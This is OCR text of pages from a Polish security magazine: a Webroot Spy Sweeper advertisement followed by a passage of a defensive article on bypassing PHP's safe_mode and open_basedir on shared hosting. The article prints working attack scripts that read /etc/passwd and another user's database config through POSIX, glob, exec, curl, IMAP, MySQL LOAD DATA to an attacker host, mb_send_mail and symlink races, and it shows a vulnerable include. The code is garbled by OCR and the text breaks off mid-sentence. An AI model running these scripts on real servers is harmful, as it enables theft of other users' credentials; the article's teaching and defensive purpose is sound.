ce w systemie Windows, zabezpieczając je przed ata-
kami spyware. Technologia CRT (

Comprehensive Re-

moval Technology) jak również praca aplikacji klienc-
kich na zasadzie sterowników jądra systemu, pozwa-
la na całkowite usunięcie oraz ochronę przed spywa-
re, bez wpływu na stabilność systemu operacyjne-
go. Spy Sweeper wyróżnia się najniższym na rynku
wskaźnikiem fałszywych alarmów (

false-positive)

wynoszącym 1:1 000 000, dzięki czemu żadna waż-
na dla firmy aplikacja nie zostanie zablokowana lub
usunięta przez program antyszpiegowski.

OCHRONA WSZYSTKICH KOMPONEN-
TÓW SYSTEMU

Spy Sweeper zapewnia kompletną ochronę przed
spyware w czasie rzeczywistym. Monitorowana
jest pamięć komputera oraz Alternative Data Stre-
ams – dzięki czemu skutecznie chroni przed ro-

otkitami ukrywającymi się w tym obszarze. Moni-
tor rejestru analizuje dokonywane wpisy, spraw-
dzając czy nowe lub istniejące wpisy, nie suge-
rują obecności aplikacji spyware w systemie. Pro-
gram chroni ustawienia przeglądarki interneto-
wej (m.in. blokuje nieautoryzowane kontrolki Acti-
veX), blokuje nieautoryzowane zmiany w pliku ho-
sts, a także ustawienia autostartu, powiadamiając
administratora o próbach instalacji wrogiego opro-
gramowania.

AKTUALIZACJE BAZY SYGNATUR

Ponieważ spyware szybko ewoluuje, ważny jest
dostęp do aktualnej bazy sygnatur. Firma We-
broot producent programu Spy Sweeper, jako je-
dyna na rynku utrzymuje system robotów sie-
ciowych (

Phileas), nieprzerwanie skanujących

sieć w poszukiwaniu nowych zagrożeń. W efek-
cie Spy Sweeper potrafi rozpoznać nowe zagro-
żenie dużo wcześniej, nim użytkownik napotka
je w sieci. Obecnie Spy Sweeper identyfikuje po-
nad 150 000 zagrożeń typu spyware (koni trojań-
skich, monitorów systemu, rootkitów czy aplika-
cji typu keylogger) zajmując czołowe pozycje w
testach porównawczych (

m.in. http://anti-spywa-

re-review.toptenreviews.com/).

CENTRALNE ZARZĄDZANIE

Spy Sweeper umożliwia administratorowi (lub
grupie administratorów) zarządzanie ochroną
antyspyware na komputerach nawet w dużych
sieciach korporacyjnych. Wszystkie zadania, po-
cząwszy od instalacji klientów, poprzez konfigu-
rowanie skanowania, automatyczne aktualizacje,
a skończywszy na blokowaniu dostępu do wybra-
nych programów oraz serwisów WWW, realizowa-
ne są z jednego miejsca – centralnej konsoli za-
rządzającej, dostępnej również z poziomu prze-
glądarki internetowej.

Rozbudowany system raportowania daje moż-

liwość szybkiej oceny zagrożenia występującego
w sieci. Program umożliwia wydzielanie serwerów
dystrybucyjnych, z których komputery użytkow-
ników będą pobierały aktualizacje, zmniejszając
tym samym obciążenie serwera głównego. Kom-

putery przenośne znajdujące się poza siecią fir-
mową mogą pobierać aktualizacje bezpośrednio z
sieci Internet.

ELASTYCZNOŚĆ KONFIGURACJI

Centralna konsola pozwala administratorowi na
zdefiniowanie domyślnej reakcji na znalezione pro-
gramy spyware. Dostępne są opcje automatyczne-
go usuwania, przenoszenia do kwarantanny, kaso-
wania z kwarantanny po określonej liczbie dni dla
kilku różnych grup wrogich programów. O akcjach
podjętych przez program administrator może być
informowany poprzez e-mail. Większość ustawień
konfiguracyjnych można oddać samym użytkow-
nikom komputerów, odciążając administratora. W
razie potrzeby administrator może jednak zablo-
kować możliwość zmiany ustawień przez użyt-
kownika stacji roboczej, a nawet całkowicie ukryć
przed użytkownikiem aplikację kliencką. Spy Swe-
eper posiada bardzo elastyczny mechanizm kon-
figurowania polityk bezpieczeństwa, który umoż-
liwia dowolną konfigurację uprawnień użytkowni-
ków. Program umożliwia dowolne skonfigurowanie
portów na jakich działają poszczególne usługi oraz
ma możliwość włączenia szyfrowania SSL w komu-
nikacji pomiędzy stacjami roboczymi, a konsolą
zarządzającą oraz pomiędzy konsolą, a serwera-
mi firmy Webroot.

UDOSTĘPNIENIE DO TESTÓW

Efektywność i wygodę centralnego zarządzania
programu Spy Sweeper Enterprise najlepiej spraw-
dzić testując go w realnych warunkach podczas
pracy w firmie – rozwiązanie do testów udostęp-
nia DAGMA Sp. z o.o. – dystrybutor firmy Webro-
ot w Polsce.

Źródło

http://anti-spyware-review.toptenre-

views.com/

Dagma Sp. z o.o.
Pszczyńska 15, 40-478 Katowice
tel. (32) 259 11 00
fax (32)259 11 90
sales@dagma.pl
www.dagma.pl

Kontakt:

Reklama

Tableka 1. Ilość rozpoznawanych zagrożeń

Spy Sweeper

153692

Ad-aware SE/Pro

36254

McAffe Anti-spyware

38996

OCHRONA SIECI FIRMOWEJ PRZED SPYWARE

KLUB TECHNICZNY

background image

www.hakin9.org

hakin9 Nr 3/2007

48

Obrona

Z

drugiej strony spotykamy programistów
PHP, którzy chcąc nam ułatwić życie, pi-
szą wszelkiej maści, bardziej lub mniej

zaawansowane, płatne lub nie, skrypty PHP
- fora internetowe, księgi gości, systemy CRM,
CMS etc. Czy można im zaufać bezgranicznie?
Oczywiście, że nie, jednak niestety w większo-
ści przypadków takim ślepym zaufaniem są ob-
darzani, bo jaki (normalny) webmaster przeglą-
dać będzie setki, czy nawet tysiące linii skryp-
tu PHP, skoro sama ich instalacja może zabrać
całkiem niemało czasu?

Te dwa zagadnienia będą dla nas istotne w

niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczeństwa internetowych serwi-
sów WWW opartych o skryptowy język PHP.

Na czym polega główny problem?
Prawie wszystkie serwisy PHP są w jakiś

sposób moderowane i w jakiś sposób składu-
ją dane. Najczęściej informacje o użytkowni-
kach i ich hasłach, artykułach, produktach et
cetera składowane są w bazach danych SQL.
Skrypt chcąc się połączyć z ową bazą musi
znać do niej co najmniej login i hasło, co za-
pisywane jest w odpowiednim pliku konfigura-
cyjnym (przeważnie config.php). Często ha-
sło do bazy jest identyczne z hasłem do kon-

ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minając o tym, że również może pokrywać się
z innymi hasłami konkretnego użytkownika na
innych serwerach czy też w bankach (któż spa-
mięta tak wiele haseł?), zatem ich bezpieczeń-
stwo trzeba przyjąć za kluczowe.

Sytuacja na serwerze

Korzystając

z

niewielkiego

uproszcze-

nia, możemy przyjąć dwa możliwe warian-
ty uruchamiania skryptów PHP – PHP uży-
te jako moduł demona WWW (mod_php), co

Bezpieczeństwo kont PHP

Paweł Maziarz

stopień trudności

PHP zawładnęło Internetem. Rynek dynamicznych serwisów

internetowych bazuje na tym języku skryptowym, tak jak część

witryn komercyjnych. Firmy hostingowe prześcigają się w

przekonywaniu klientów, proponując PHP4 lub PHP5, alternatywne

serwery baz danych, korzystniejszą pojemność konta. Czy nie

zapominają o bezpieczeństwie pojedynczego konta?

Z artykułu dowiesz się...

• jakie są możliwości obejścia zabezpieczeń

PHP

• na jakie funkcje PHP należy zwrócić szczegól-

ną uwagę w skryptach z różnych źródeł

Co powinieneś wiedzieć...

• powinieneś znać podstawy programowania w

języku PHP

• powinieneś mieć pojęcie o systemach Linux/

Unix

background image

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

49

oznacza, że właścicielem każde-
go procesu jest ten sam użytkownik,
z którego sprzętu uruchamiana jest

usługa WWW (najczęściej apache,
nobody, www albo www-data) lub
PHP uruchamiane jako skrypt CGI/

FastCGI, co powoduje, że właścicie-
lem procesu jest właściciel konkretne-
go skryptu. W pierwszym przypadku,
po umieszczeniu skryptu na serwerze
należy mu dać prawa do odczytu dla
wszystkich (np. chmod 644 plik.php),
widać zatem, że system operacyjny
nie będzie miał nic przeciw, by kto-
kolwiek inny niż właściciel przeczy-
tał ten plik. W przypadku drugim nato-
miast nikt poza właścicielem skryptu
nie musi mieć prawa do jego odczytu,
w praktyce jednak rzadko spotyka się
tak samolubnych użytkowników, a z
drugiej strony i tak pozostają jeszcze
prywatne pliki użytkownika, które nie
są skryptami PHP, a więc by mogły
być serwowane przez usługę WWW,
muszą mieć one zatem prawa dostę-
pu jak w przypadku pierwszym.

Nasz mały teatrzyk

W celu uwidocznienia problemu, zor-
ganizujemy niewielki teatrzyk. Głów-
ne role w naszym przedstawieniu bę-
dą odgrywać użytkownicy:

www-data – użytkownik, z którego

uruchamiany jest demon WWW
(Apache2),

O autorze

Autor jest właścicielem i jednocześnie jednym z głównych programistów firmy tworzą-
cej między innymi oprogramowanie PHP. Od kilku lat współpracuje również z firmami
hostingowymi w charakterze administratora. Kontakt z autorem: pawel.maziarz@in-
tersim.pl.

Listing 1.

fragment pliku /etc/passwd

www-data:x:33:33:www-data:/var/www:/bin/false
mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false

Rysunek 1.

Zrzut ekranu przedstawiający wykorzystanie błędu w użyciu funkcji include

Dyrektywy safe_mode

safe_mode

– włącz lub wyłącz safe_mode

safe _ mode _ gid

– sprawdzaj grupę pliku zamiast jego właściciela

safe _ mode _ include _ dir

– pomiń sprawdzanie użytkownika/grupy dla plików

z podanych katalogów

safe _ mode _ exec _ dir

– ogranicz funkcje uruchamiające programy jak exec()

do uruchamiania programów z podanego katalogu

safe _ mode _ allowed _ env _ vars

– zezwól użytkownikowi na zmianę wartości

zmiennych zaczynających się podanym prefiksem

safe _ mode _ protected _ env _ vars

– zabroń użytkownikowi zmiany wartości

zmiennych zaczynających się podanym prefiksem

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

50

mieciu – dr Mieczysław, uczci-

wy pracownik jednej z wyższych
uczelni, posiadający na serwerze
forum dostępne tylko dla swoich
współpracowników, na którym
szczegółowo omawiają oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkówki,

haker – student doktora Mieczy-

sława, który pozyskał konto na
tym samym serwerze, co jego
wykładowca, w celu umożliwie-
nia sobie uczestnictwa (choćby
biernego) w dyskusjach tej eli-
tarnej grupy. Listing 1 pokazuje
część pliku /etc/passwd dotyczą-
cą tych trzech użytkowników.

Przedstawienie

czas zacząć

Haker wie, że forum doktora Mieczy-
sława znajduje się na serwerze, na
którym właśnie sam pozyskał konto.
Wie, że korzysta on z bazy danych.
Zdaje sobie też sprawę z tego, że by
osiągnąć swój cel musi zdobyć do-
stęp do tej bazy. Wie, że login i hasło
do niej znajdują się na koncie dok-
tora w jednym z plików konfiguracyj-
nych. Nie wie jednak pod jakim logi-
nem widnieje wykładowca w syste-
mie ani tego gdzie poszukiwania ha-
seł zacząć. Wie natomiast, że jeże-
li zobaczy listę użytkowników, od ra-
zu pozna login należący do doktora.
Pisze więc prosty skrypt includepas-
swd.php, który wyświetli przeglądar-
ce zawartość pliku /etc/passwd – Li-
sting 2.

Po wpisaniu adresu skryptu w

przeglądarce, czeka go jednak z
pewnością widok jednego z komu-
nikatów, które przedstawia Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa

safe _ mode

, za dru-

gi

open _ basedir

, które są powszech-

nie używane.

safe_mode

Dyrektywa

safe _ mode

jest jedną z

prób rozwiązania problemu dzielenia
jednego systemu przez wielu użyt-
kowników. Ma na celu ograniczenie
dostępu do zasobów danego użyt-
kownika wyłącznie dla ich właścicie-
la. Najbardziej charakterystycznym
efektem uruchomienia tej dyrektywy,

jest każdorazowe sprawdzanie, czy
właściciel otwieranego pliku bądź
katalogu jest właścicielem skryptu,
z którego zasób jest otwierany. Je-
żeli nie jest,

safe _ mode

zakomuni-

kuje ostrzeżenie jak powyżej i ope-
racja zakończy się niepowodzeniem.

safe _ mode

posiada też kilka bardziej

wyspecjalizowanych dyrektyw, które
przedstawione są w ramce.

open_basedir

Dyrektywa

open _ basedir

ogra-

nicza dostęp do plików i katalo-
gów do podanej ścieżki. Jeżeli plik
bądź katalog znajduje się poza nią,

Lista funkcji POSIX :

posix_access

– sprawdź dostęp do pliku

posix _ ctermid

– podaj ścieżkę kontrolującego terminala

posix _ get _ last _ error

-- podaj numer błędu ostatniej funkcji POSIX

posix _ getcwd

– podaj bieżący katalog

posix _ getegid

– podaj efektywny ID bieżącego procesu

posix _ geteuid

– podaj efektywny ID użytkownika bieżącego procesu

posix _ getgid

– podaj prawdziwy ID grupy bieżącego procesu

posix _ getgrgid

– pobierz informacje na temat grupy o podanym ID

posix _ getgrnam

– pobierz informacje na temat grupy o podanej nazwie

posix _ getgroups

– podaj listę grup bieżącego procesu

posix _ getlogin

– podaj nazwę użytkownika

posix _ getpgid

– podaj grupę procesu podanego jako argument

posix _ getpgrp

– podaj identyfikator grupy bieżącego procesu

posix _ getpid

– podaj aktualny PID procesu

posix _ getppid

– podaj PID procesu-rodzica

posix _ getpwnam

– podaj informacje o użytkowniku o podanej nazwie

posix _ getpwuid

– podaj informacje o użytkowniku o podanym ID

posix _ getrlimit

– podaj informacje o limitach systemowych

posix _ getsid

– podaj SID procesu

posix _ getuid

– podaj prawdziwy ID użytkownika bieżącego procesu

posix _ isatty

– sprawdź, czy identyfikator pliku jest interaktywnym terminalem

posix _ kill

– wyślij sygnał do procesu

posix _ mkfifo

– stwórz potok fifo

posix _ mknod

– stwórz specjalne urządzenie

posix _ setegid

– ustaw efektywną grupę bieżącego procesu

posix _ seteuid

– ustaw efektywnego użytkownika procesu

posix _ setgid

– ustaw grupę bieżącego procesu

posix _ setpgid

– ustaw grupę group id for job control

posix _ setsid

– ustaw bieżący proces liderem sesji

posix _ setuid

– ustaw UID bieżącego procesu

posix _ strerror

– podaj tekst błędu o podanym jako argument numerze

posix _ times

– podaj wyznaczniki czasowe procesu

posix _ ttyname

– podaj nazwę urządzenia terminala

posix _ uname

– podaj informacje o systemie

Funkcje uruchamiające programy

exec

– uruchom program, zapisz wyjście oraz kod powrotu do zmiennych, zwróć

ostatnią linijkę wyjścia

passthru

– uruchom program, wyświetl jego wyjście, zapisz kod powrotu

system

– uruchom program, wyświetl wyjście, zapisz kod powrotu, zwróć ostatnią

linijkę wyjścia

shell _ exec

(lub `polecenie`) - uruchom program, zwróć całe wyjście

popen

– uruchom program, stwórz do niego potok, zwróć wskaźnik do plik (taki jak

przy funkcji fopen)

proc _ open

– podobnie jak popen, ale z dwukierunkową komunikacją

background image

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

51

wyświetlany jest odpowiedni komu-
nikat i operacja kończy się niepo-
wodzeniem. Najczęściej każdy użyt-
kownik posiada na serwerze odpo-
wiednio zdefiniowaną ścieżkę w dy-
rektywie open_basedir.

Można więc poczynić wnioski, że

na serwerze, na którym te dyrektywy
albo chociaż

open _ basedir

są zde-

finiowane, użytkownik ma dostęp do
plików tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopuśćmy zatem okoliczność, że na
serwerze ustawione są odpowiednio
obie restrykcje i dajmy hakerowi się
wykazać.

Haker posługuje się więc alterna-

tywną metodę odczytania pliku /etc/

passws, tworząc tym samym skrypt

posixcatpasswd.php przedstawiony
na Listingu 3.

Po wpisaniu adresu tego skryp-

tu, w przeglądarce będzie się suk-
cesywnie, linijka po linijce, ukazywać
zawartość pliku /etc/passwd, który
zawiera informacje o użytkownikach.
Efekt taki haker uzyskał dzięki funkcji
posix_getpwuid, zwracającej infor-
macje o użytkowniku, którego iden-
tyfikator podany zostanie jako argu-
ment. Wykorzystując pętle for z war-
tościami z zakresu 0-65535, haker
jest pewien, że zostanie wyświetlona
lista wszystkich użytkowników z uni-
katowymi identyfikatorami UID.

Funkcja

posix _ getpwuid

należy

do rodziny funkcji POSIX, które prze-
ważnie są wkompilowane domyślnie
w pakiety binarne z PHP. By skom-
pilować PHP bez modułu POSIX, wy-
starczy przed kompilacją PHP dodać
do linii polecenia configure przełącz-
nik –disable-posix. Trzeba dodać, że
funkcje POSIX nie biorą pod uwagę
żadnych testów wynikających z dy-
rektyw open_basedir bądź safe_mo-
de, więc jedyne zabezpieczenie przed
nimi to wyłączenie podczas kompila-
cji, bądź dodanie ich do dyrektywy

disabled _ functions

z php.ini.

W ramce obok przedstawione są

wszystkie funkcje POSIX (nie są one
dostępne na platformie Windows).

Napastnik tym sposobem roz-

poznał od razu, że login dokto-
ra Mieczysława to mieciu i wie już,

Rysunek 2.

Zrzut ekranu przedstawiający działanie funkcji eval

Listing 2.

skrypt includepasswd.php wyświetlający plik /etc/passwd

<?

php

header

(

"Content-type: text/plain"

)

;

include

(

"/etc/passwd"

)

;

?>

Listing 3.

skrypt posixcatpasswd.php

<?php

header

(

"Content-type: text/plain"

)

;

for

(

$uid

= 0;

$uid

<

= 65535; $uid++) {

if (($pw = posix_getpwuid($uid))) {

echo implode(

":"

, $pw) .

"\n"

;

flush();

}

}
?

>

Listing 4.

globtest.php

<?

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$files

= glob

(

„/home/users/mieciu/*”

)

;

?>

Listing 5.

skrypt globshowsomefiles.php

<?

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$dir

=

(

isset

(

$_GET

[

'd'

]))

?

$_GET

[

'd'

]

:

""

;

for

(

$i

= 65;

$i

<

= 90; $i++) {

glob(

"$dir/"

. strtolower(chr($i)) .

"*"

);

glob(

"$dir/"

. chr($i) .

"*"

);

}
?

>

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

52

że jego katalogiem domowym jest
/home/users/mieciu/. Nie może jed-
nak w tradycyjny sposób (czyli za po-
mocą funkcji opendir/readdir) pobrać
zawartości katalogu domowego dok-
tora, ponieważ nie pozwoli na to dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, która zwraca listę
plików pasujących do wyrażenia, ja-
kie się jej poda, np. konstrukcja $ob-

razki_jpg = glob(„img/*.jpg”); zwró-
ci w tablicy nazwy wszystkich plików
z rozszerzeniem .jpg w katalogu img.
Ale czy wcześniej omówione zabez-
pieczenia PHP nie powstrzymają jej
w razie próby penetracji katalogu in-
nego użytkownika? Przeciwnie! Zro-
bią to. I dadzą nam to wyraźnie do zro-
zumienia. Bardzo wyraźnie. Spójrzmy
na Listing 4 przedstawiający działanie
tej funkcji.

Pierwsze dwie linijki skryp-

tu globtest.php występują w celu
upewnienia się, że PHP wyświetli
nam wszystkie błędy i ostrzeżenia.
Ostatnia natomiast próbuje zapisać
w zmiennej $files tablicę z nazwami
plików i katalogów użytkownika mie-
ciu, jednak zamiast tego wyświetli ta-
kie ostrzeżenie:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on
line 5

Dzięki użyciu gwiazdki, funkcja
glob dopasowała pierwszy katalog
u doktora Mieczysława, następnie
zajął się nim open_basedir spraw-
dzając, czy jest on dostępny dla ha-
kera, a jako, że oczywiście nie jest,
PHP odpowiednio to zakomuniko-
wał, podając w ostrzeżeniu nazwę
pliku. Idąc tym tropem, można ła-
two zgadnąć, że zapis glob(„/home/

users/mieciu/a*”); wyświetli ostrze-
żenie o braku dostępu do pierwsze-
go pliku rozpoczynającego się lite-
rą a, o ile taki będzie istniał. Haker
tworzy wtedy szybko skrypt glob-
showsomefiles.php przedstawiony
na Listingu 5.

Po wejściu hakera na stronę http:/

/serwer/globshowsomefiles.php?d=/

home/users/mieciu, w przeglądarce
wyświetlą się mu pierwsze pliki za-
czynające się od małej lub dużej lite-
ry (Listing 21).

Jak widać, dzięki funkcji glob

można poznać ścieżki prywatnych
plików użytkownika, na przykład ma-
teriałów czy zdjęć, do których ad-
res znają tylko nieliczne uprawnione
przez niego osoby. Idąc tym tropem,

Listing 6.

skrypt runlola.php

<?

php

header

(

"Content-type: text/plain"

)

;

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$file

=

"/home/users/mieciu/public_html/forum/cfg.php"

;

echo

"exec()

\n

"

;

if

(

exec

(

"cat

$file

"

,

$ret

))

{

$buf

=

join

(

$ret

,

"

\n

"

)

;

echo

"

$buf

\n

"

;

}

echo

"system()

\n

"

;

$ret

= system

(

"cat

$file

"

)

;

echo

"

$ret

\n

"

;

echo

"shell_exec()

\n

"

;

$ret

= shell_exec

(

"cat

$file

"

)

;

echo

$ret

;

echo

"passthru()

\n

"

;

passthru

(

"cp

$file

/tmp/.passthrutest"

)

;

readfile

(

"/tmp/.passthrutest"

)

;

unlink

(

"/tmp/.passthrutest"

)

;

echo

"popen()

\n

"

;

$fp

= popen

(

"cat

$file

"

,

"r"

)

;

while

((

$buf

=

fgets

(

$fp

, 4096

)))

echo

"

$buf

"

;

pclose

(

$fp

)

;

if

(

function_exists

(

"proc_open"

))

{

echo

"proc_open

\n

"

;

$descriptorspec

=

array

(

0 =

>

array

(

"pipe"

,

"r"

)

,

1 =

>

array

(

"pipe"

,

"w"

)

,

2 =

>

array

(

"pipe"

,

"w"

))

;

$po

= proc_open

(

"cat

$file

"

,

$descriptorspec

,

$pipes

)

;

while

((

$buf

=

fgets

(

$pipes

[

1

]

, 4096

)))

echo

$buf

;

proc_close

(

$po

)

;

}
?>

Listing 7.

skrypt curlread.php

<?

php

if

(

function_exists

(

"curl_init"

))

{

$file

=

"/home/users/mieciu/public_html/forum/cfg.php"

;

$ci

= curil_init

(

"file://

$file

"

)

;

echo

curl_exec

(

$ci

)

;

}

else

echo

"brak rozszerzenia curl."

;

?>

background image

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

53

haker znajduje katalog home/users/

mieciu/public_html/forum/, a w nim
plik cfg.php:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/public_html/
forum/cfg.php) is not within the
allowed path(s): (/tmp:/home/users/
haker) in /home/users/haker/
public_html/globtest.php on line 8

Odnalezienie tego pliku, to już poło-
wa sukcesu, wystarczy go już teraz

tylko odczytać. Naturalnie funkcja
glob już w tym nie pomoże. Trzeba
po raz kolejny przechytrzyć

open _

basedir

i

safe _ mode

.

Rodzina funkcji exec

PHP, jak każdy język programowa-
nia, oferuje możliwość uruchamiania
zewnętrznych aplikacji. Jest to bar-
dzo przydatna cecha, a niekiedy nie-
zbędna, na przykład wówczas, gdy
PHP skompilowane jest bez obsługi
GD - rozszerzenia do manipulowania
grafiką. Powszechnie używa się ko-

mend wchodzących w skład popular-
nego pakietu ImageMagick (między
innymi polecenia convert, identify).
Jest to też znaczące udogodnienie w
przypadku konwertowania klipów fil-
mowych (polecenie mencoder), czy
w końcu, kiedy skrypty używają wła-
snego autorskiego oprogramowania
(na przykład do zmiany hasła użyt-
kowników poprzez interfejs WWW).

Oczywistym jest jednak fakt, że

możliwość uruchamiania progra-
mów wiąże się z istotną konsekwen-
cją, mianowicie taką, że dyrekty-
wy

open _ basedir

oraz

safe _ mode

nie są w stanie sprawdzać czy, i ja-
kie pliki otwierają uruchamiane pro-
gramy. Istnieje jednak dyrektywa

safe _ mode _ exec _ dir

, definiująca

ścieżkę, w której muszę znajdować
się programy, które użytkownik chce
uruchomić. Aby jednak

safe _ mode _

exec _ dir

zadziałało, musi być włą-

czone samo safe_mode (z czego tak
naprawdę wielu administratorów re-
zygnuje, bo przysparza to de facto
więcej problemów niż korzyści). Al-
ternatywnym rozwiązaniem dla ad-
ministratora jest dodanie tych funk-
cji do dyrektywy PHP disable_func-
tions, która wyłącza je z użycia, a
jako, że można to zrobić poniekąd
niezależnie dla każdego użytkow-
nika, okazuje się to często stoso-
waną praktyką. Funkcje służące do
uruchamiania programów przedsta-
wione są wraz z krótkim opisem w
ramce.

Haker tworzy więc skrypt runlo-

la.php, który testuje po kolei funkcje
opisane powyżej – Listing 6.

Jak się jednak okazuje, admini-

strator przewidział takie zachowania
hakera i jednym ze wspomnianych
wcześniej sposobów uchronił dokto-
ra Mieczysława przed atakiem tego
typu. Przed hakerem ciągle stoi więc
nie lada wyzwanie.

Rozszerzenia PHP

Może dyrektywy open_basedir i sa-
fe_mode mają szansę się spraw-
dzić w wielu przypadkach, jednak
niekwestionowanym tego warun-
kiem jest konieczność wykonywa-
nia odpowiednich testów wszędzie
tam, gdzie dana funkcja ma kontakt

Listing 8.

imaptest.php

<?

php

$file

=

"/home/users/mieciu/public_html/forum/cfg.php"

;

if

(

function_exists

(

"imap_open"

))

{

$stream

= imap_open

(

$file

,

""

,

""

)

or

print_r

(

imap_errors

())

;

if

(

$stream

)

{

echo

imap_body

(

$stream

, 1

)

;

imap_close

(

$stream

)

;

}

}

else

echo

"brak funkcji imap"

;

?>

Listing 9.

mysqlloaddatalocal.php

<?

php

header

(

"Content-type: text/plain"

)

;

$file

=

"/home/users/mieciu/public_html/forum/cfg.php"

;

$mysqluser

=

"haker"

;

$mysqlpass

=

"tajnehaslo"

;

$mysqlbase

=

"haker"

;

$mysqlhost

=”host.hakera.pl

";

if (function_exists("

mysql_connect

")) {

if (!mysql_connect(

$mysqlhost

,

$mysqluser

,

$mysqlpass

))

echo mysql_error();
else {
mysql_select_db(

$mysqlbase

);

mysql_query("

CREATE TABLE mysqldatatest

(

blah LONGBLOB

)

") or

print(mysql_error());

mysql_query("

LOAD DATA LOCAL INFILE

'$file'

INTO TABLE mysqldatatest

LINES TERMINATED BY

'hakervsmieciu'") or print(mysql_

error());

$res

= mysql_query("

SELECT blah FROM mysqldatatest

") or print(mysql_

error());

while ((

$row

= mysql_fetch_assoc(

$res

)))

echo

$row

["

blah

"];

mysql_free_result(

$res

);

mysql_query("

DROP TABLE

IF

EXISTS mysqldatatest

");

mysql_close();
}
}
else
echo "

brak rozszerzenia mysql.";

?>

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

54

z plikami. O ile w większości rozsze-
rzeń PHP jest to zrobione jak nale-
ży, o tyle co jakiś czas odkrywane są
braki takich testów w niektórych bar-
dziej lub mniej popularnych rozsze-
rzeniach. Przeważnie zdarza się to
wskutek zaniedbania programisty,
jednak czasem może okazać się też
po prostu niemożliwe do zaimple-
mentowania.

Do niedawna takim zaniedba-

niem mogło się niechlubnie szczy-
cić rozszerzenie CURL, służące do
pobierania plików za pomocą wielu
możliwych protokołów – http, https,

ftp, gopher, telnet, ldap, dict, a także

file – czyli lokalny dostęp do plików.
Skrypt wykorzystujący takie niedo-
ciągnięcie mógłby więc wyglądać
jak curlread.php przedstawiony na
Listingu 7.

Brak odpowiednich testów zdia-

gnozowano również stosunkowo
niedawno w funkcjach rozszerze-
nia IMAP, służącego do dostępu
do skrzynek lokalnych pocztowych,
IMAP, POP3 oraz NNTP. Zaniedba-
nie w funkcjach imap_open oraz

imap_reopen można było wykorzy-
stać w przedstawiony na Listingu 8
skrypcie.

Ciekawe zjawisko można było

również do niedawna zaobserwo-
wać w funkcjach obsługujących bazę
MySQL. Istnieje bowiem dla tej ba-
zy możliwość uzupełnienia określo-
nej tabeli danymi z pliku znajdujące-
go się na komputerze klienta, służy
do tego zapytanie LOAD DATA LO-
CAL INFILE plik INTO TABLE tabe-
la. Można więc było stworzyć tym-
czasową tabelkę na dowolnym ser-
werze z bazą MySQL (zdalnym lub
lokalnym), połączyć się z nią, a na-
stępnie wykonać przedstawione wy-
żej zapytanie, po czym odczytać za-
wartość pliku z tabelki. Działanie ta-
kie przedstawione jest na Listingu 9.

Jednakże programiści PHP zde-

cydowali się ostatnio na bezkompro-
misowe rozwiązanie tego problemu
i w momencie kiedy używana jest
dyrektywa

open _ basedir

, ustawia-

na jest przy łączeniu z bazą danych
opcja niepozwalająca tworzyć zapy-
tań z tą konstrukcją (a żeby zapyta-
nie się powiodło, musi być na to po-

Listing 10.

skrypt mbsendmailtest.php

<?

php

header

(

"Content-type: text/plain"

)

;

$file

=

"/home/users/mieciu/public_html/forum/cfg.php"

;

if

(

function_exists

(

"mb_send_mail"

))

{

mb_send_mail

(

NULL, NULL, NULL, NULL,

"-C

$file

-X /tmp/.mb_send_mail"

)

;

if

(

file_exists

(

"/tmp/.mb_send_mail"

))

{

readfile

(

"/tmp/.mb_send_mail"

)

;

unlink

(

"/tmp/.mb_send_mail"

)

;

}

}

else

echo

"brak funkcji mb_send_mail"

;

?>

Listing 11.

symlinksfun.php

<?

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

,

"tango"

)

;

symlink

(

"tango/../../../../../"

,

"cash"

)

;

echo

"pierwszy dostep

do

katalogu cash...

<

br

>

";

print_r(glob("

cash/*

"));

unlink("

tango

");

symlink("

.

", "

tango

");

echo "

<

br

>

drugi dostep

do

katalogu cash...

";

print_r(glob("

cash/*"

))

;

?>

Listing 12.

alternatelinks.php

<?

php

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

,

"tango"

)

;

symlink

(

"tango/../../../../../"

,

"cash"

)

;

while

(

1

)

{

unlink

(

"tango"

)

;

symlink

(

"."

,

"tango"

)

;

unlink

(

"tango"

)

;

symlink

(

"1/2/3/4/5"

,

"tango"

)

;

}
?>

Listing 13.

readfileloop.php

<?

php

header

(

"Content-type: text/plain"

)

;

$file

=

"cash/home/users/mieciu/public_html/forum/cfg.php"

;

while

(

@readfile

(

$file

)

== false

)

;

?>

Listing 14.

badinclude.php

<?

php

$skin

=

(

isset

(

$_GET

[

'skin'

]))

?

$_GET

[

'skin'

]

:

"default"

;

include

(

$skin

.

"_skin/main.inc"

)

;

?>

background image

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

55

zwolenie zarówno po stronie klienta
jak i serwera).

Występują jednak sytuacje, na

które zabezpieczenia na poziomie
PHP nie mają wpływu. Na przykład
istnieje funkcja

mb _ send _ mail

, któ-

ra służy do wysyłania maili z odpo-
wiednim kodowaniem. Abstrahując
od tego, czemu ona dokładnie słu-
ży, wyczytać można w dokumenta-
cji, że w przypadku kiedy safe_mo-
de jest wyłączone, można podać
